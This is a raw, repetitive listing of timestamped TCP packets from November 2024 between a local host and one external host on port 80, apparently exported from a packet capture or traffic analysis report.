Nov 25, 2024 03:39:26.324501991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.325406075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.325469017 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.325506926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.325597048 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.326409101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.326458931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.326489925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.326536894 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.327502012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.327549934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.327553988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.327593088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.328511953 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.328566074 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.328604937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.328655958 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.329547882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.329651117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.329651117 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.329716921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.330617905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.330678940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.330740929 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.330796957 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.331624031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.331676960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.331710100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.331762075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.332662106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.332714081 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.332767963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.332822084 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.333739042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.333780050 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.333792925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.333827019 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.334732056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.334780931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.334830046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.334881067 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.335797071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.335860968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.335899115 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.335947990 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.336827040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.336884975 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.336889029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.336930990 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.337850094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.337924957 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.337949991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.337999105 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.338881969 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.338943005 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.338973999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.339020014 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.339941025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.339997053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.340025902 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.340071917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.390585899 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.390665054 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.390683889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.390718937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.391088009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.391144991 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.391201973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.391247988 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.392149925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.392206907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.392236948 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.392283916 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.393142939 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.393198967 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.393263102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.393316031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.394193888 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.394248009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.394290924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.394342899 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.395237923 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.395287037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.395347118 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.395400047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.396286011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.396331072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.396414042 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.396457911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.397311926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.397372007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.397430897 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.397490978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.398339987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.398402929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.398438931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.398478985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.399374008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.399426937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.399477959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.399527073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.453757048 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.453847885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.453903913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.453958035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.454200029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.454247952 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.454396009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.455383062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.455449104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.455538988 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.455599070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.456295967 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.456391096 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.456422091 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.456470013 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.457401991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.457454920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.457516909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.457566023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.458389044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.458448887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.458479881 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.458533049 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.459388018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.459439039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.459444046 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.459482908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.460406065 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.460458994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.460477114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.460516930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.461464882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.461522102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.461564064 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.461652994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.462474108 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.462542057 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.462575912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.462622881 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.463519096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.463572979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.463701963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.463751078 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.464591980 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.464646101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.464700937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.464755058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.465626955 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.465682030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.465749025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.465799093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.466660976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.466712952 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.466754913 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.466852903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.467684984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.467740059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.467817068 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.467861891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.468739033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.468795061 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.468851089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.468898058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.469762087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.469822884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.469877005 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.469927073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.470809937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.470863104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.470880032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.470923901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.471858978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.471913099 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.471949100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.472019911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.472882032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.472950935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.472986937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.473041058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.473906994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.473958015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.474040985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.474092007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.474986076 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.475035906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.475097895 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.475147963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.475999117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.476069927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.476113081 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.476167917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.477046013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.477097034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.477155924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.477200985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.478089094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.478147030 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.478200912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.478250980 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.479103088 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.479155064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.479211092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.479250908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.480149984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.480186939 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.480201960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.480235100 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.515922070 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.515933990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.516028881 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.516166925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.516237974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.516271114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.516318083 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.517194986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.517249107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.517324924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.517385960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.518244982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.518299103 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.518335104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.518385887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.519274950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.519330978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.519387960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.519437075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.520325899 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.520378113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.520433903 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.520488024 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.521384954 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.521434069 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.521497011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.521548033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.522392035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.522444963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.522488117 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.522536039 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.523430109 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.523480892 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.523560047 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.523611069 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.524494886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.524545908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.524584055 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.524629116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.525527000 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.525578022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.525645018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.525696993 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.526561022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.526626110 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.526680946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.526729107 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.527580976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.527664900 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.527697086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.527748108 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.528647900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.528702974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.528759003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.528809071 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.529695034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.529748917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.529814959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.529864073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.530745029 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.530802011 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.530824900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.530868053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.531749010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.531805038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.531857014 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.531900883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.582494020 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.582556009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.582612038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.582643986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.582973957 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.583033085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.583093882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.583146095 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.584036112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.584085941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.584110022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.584155083 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.585078001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.585131884 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.585165977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.585218906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.586129904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.586180925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.586230993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.586277008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.587141991 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.587193012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.587229013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.587276936 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.588198900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.588267088 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.588310957 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.589217901 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.589276075 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.589282990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.589325905 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.590312004 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.590367079 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.590420008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.590472937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.591293097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.591357946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.591373920 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.591420889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.645613909 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.645721912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.645731926 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.645771980 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.646101952 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.646151066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.646231890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.646279097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.647116899 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.647172928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.647233963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.647280931 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.648183107 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.648281097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.648294926 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.648336887 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.649223089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.649288893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.649328947 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.649378061 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.650315046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.650367975 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.650413990 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.650459051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:26.651345968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:26.651396036 CET	49705	80	192.168.2.8	185.215.113.206
